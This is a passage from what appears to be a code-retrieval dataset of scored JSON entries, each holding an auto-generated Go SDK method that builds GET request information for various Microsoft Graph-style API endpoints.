i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n if requestConfiguration != nil {\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "6a42aa06a6ed05bd75834bb2d703da8a", "score": "0.6205521", "text": "func (m *ItemListRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemListRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "9eef09fb8f95137f1ba9253125ae19d3", "score": "0.6199859", "text": "func (m *SettingsForwardingOptionsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *SettingsForwardingOptionsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "7254a5af20b92666617258fe503a5714", "score": "0.61936086", "text": "func (m *MobileThreatDefenseConnectorsMobileThreatDefenseConnectorItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *MobileThreatDefenseConnectorsMobileThreatDefenseConnectorItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "960ee76db279eb4523575589327217ed", "score": "0.6187994", "text": "func (m *LearningCourseActivitiesCountRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *LearningCourseActivitiesCountRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"text/plain\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "5a7589c7a00e8205dad4f585c7027bca", "score": "0.61868364", "text": "func (m *ManagedTenantsManagementIntentsManagementIntentItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ManagedTenantsManagementIntentsManagementIntentItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "2db30359d639d34871841d651bdc0b66", "score": "0.61854196", "text": "func (m *EntitlementManagementResourceRequestsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *EntitlementManagementResourceRequestsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "74c3bcbf8180b4111f8160ceb2edcd54", "score": "0.618524", "text": "func (m *ConnectorsPrintConnectorItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ConnectorsPrintConnectorItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "5bee90a0a1f45bd0f3a35ffedee9080b", "score": "0.6183995", "text": "func (m *EdiscoveryCasesItemCustodiansRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *EdiscoveryCasesItemCustodiansRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "3a7a866f67aea9062af8f91b1892e1bc", "score": "0.61581224", "text": "func (m *ManagedTenantsManagedTenantApiNotificationsItemAlertRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ManagedTenantsManagedTenantApiNotificationsItemAlertRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "508dc11e6cd5210c25d05f353c9d42bd", "score": "0.6153817", "text": "func (m *ItemEventsEventItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemEventsEventItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "cc0226d3807cc8bc02b39103f300eabd", "score": "0.61510247", "text": "func (m *DevicesItemOperationsTeamworkDeviceOperationItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *DevicesItemOperationsTeamworkDeviceOperationItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "b2ab400dae5367a0b93fcc91052b69e7", "score": "0.6141546", "text": "func (m *EntitlementManagementSubjectsAccessPackageSubjectItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *EntitlementManagementSubjectsAccessPackageSubjectItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "9f7e824018087695ad6bf6c8a97a13d7", "score": "0.6140121", "text": "func (m *MobileAppManagementPoliciesRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *MobileAppManagementPoliciesRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "5a779fcbc960b6f27f21ddb0e1b26f3f", "score": "0.61208427", "text": "func (m *ItemInstancesRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemInstancesRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "318f067c1c6dee619ef5f80755b531a2", "score": "0.6118307", "text": "func (m *WorkforceIntegrationsWorkforceIntegrationItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *WorkforceIntegrationsWorkforceIntegrationItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "98955a32d034d372f8c97400444cc880", "score": "0.6115139", "text": "func (m *ItemScopedRoleMemberOfScopedRoleMembershipItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemScopedRoleMemberOfScopedRoleMembershipItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "157533f91aa40c2ca778383d621c3b2f", "score": "0.6114094", "text": "func (m *ManagedEBooksManagedEBookItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ManagedEBooksManagedEBookItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "4eb67d2422a65b8430714564af90e6d5", "score": "0.61124825", "text": "func (m *LearningProvidersItemLearningContentsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *LearningProvidersItemLearningContentsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "0e72192cc81fb72449c6b85bda9fa2ce", "score": "0.61073357", "text": "func (m *UserExperienceAnalyticsResourcePerformanceRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *UserExperienceAnalyticsResourcePerformanceRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "5f9d1e17ccb2afa779252f7b64ac265c", "score": "0.60900265", "text": "func (m *ItemDevicesItemTransitiveMemberOfDirectoryObjectItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemDevicesItemTransitiveMemberOfDirectoryObjectItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "c2b5242fd5fecbf07346a68f4cca64fd", "score": "0.6089149", "text": "func (m *EnterpriseAppsItemTransitiveRoleAssignmentsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *EnterpriseAppsItemTransitiveRoleAssignmentsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "fff37c411b879fb0e25a05e0ca5b9932", "score": "0.60848105", "text": "func (m *WindowsUpdatesCatalogEntriesCatalogEntryItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *WindowsUpdatesCatalogEntriesCatalogEntryItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "eea205c9d1a81089d668ef71cf41bfff", "score": "0.6082048", "text": "func (m *UserExperienceAnalyticsAppHealthOverviewRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *UserExperienceAnalyticsAppHealthOverviewRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "8d55aa03cb366254f26134837a8e0a6f", "score": "0.6075941", "text": "func (m *TeamTemplatesItemDefinitionsItemTeamDefinitionAllChannelsChannelItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *TeamTemplatesItemDefinitionsItemTeamDefinitionAllChannelsChannelItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "3977b335dccdbacde812371acce56407", "score": "0.6071878", "text": "func (m *GovernanceRoleAssignmentRequestsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *GovernanceRoleAssignmentRequestsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "9fafcbbf52e91da0d31260e79882813c", "score": "0.60600436", "text": "func (m *EmailThreatSubmissionPoliciesEmailThreatSubmissionPolicyItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *EmailThreatSubmissionPoliciesEmailThreatSubmissionPolicyItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "620498eec8e2a2f897c577c98da36c37", "score": "0.6058845", "text": "func (m *OnlineMeetingsItemRegistrationRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *OnlineMeetingsItemRegistrationRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n 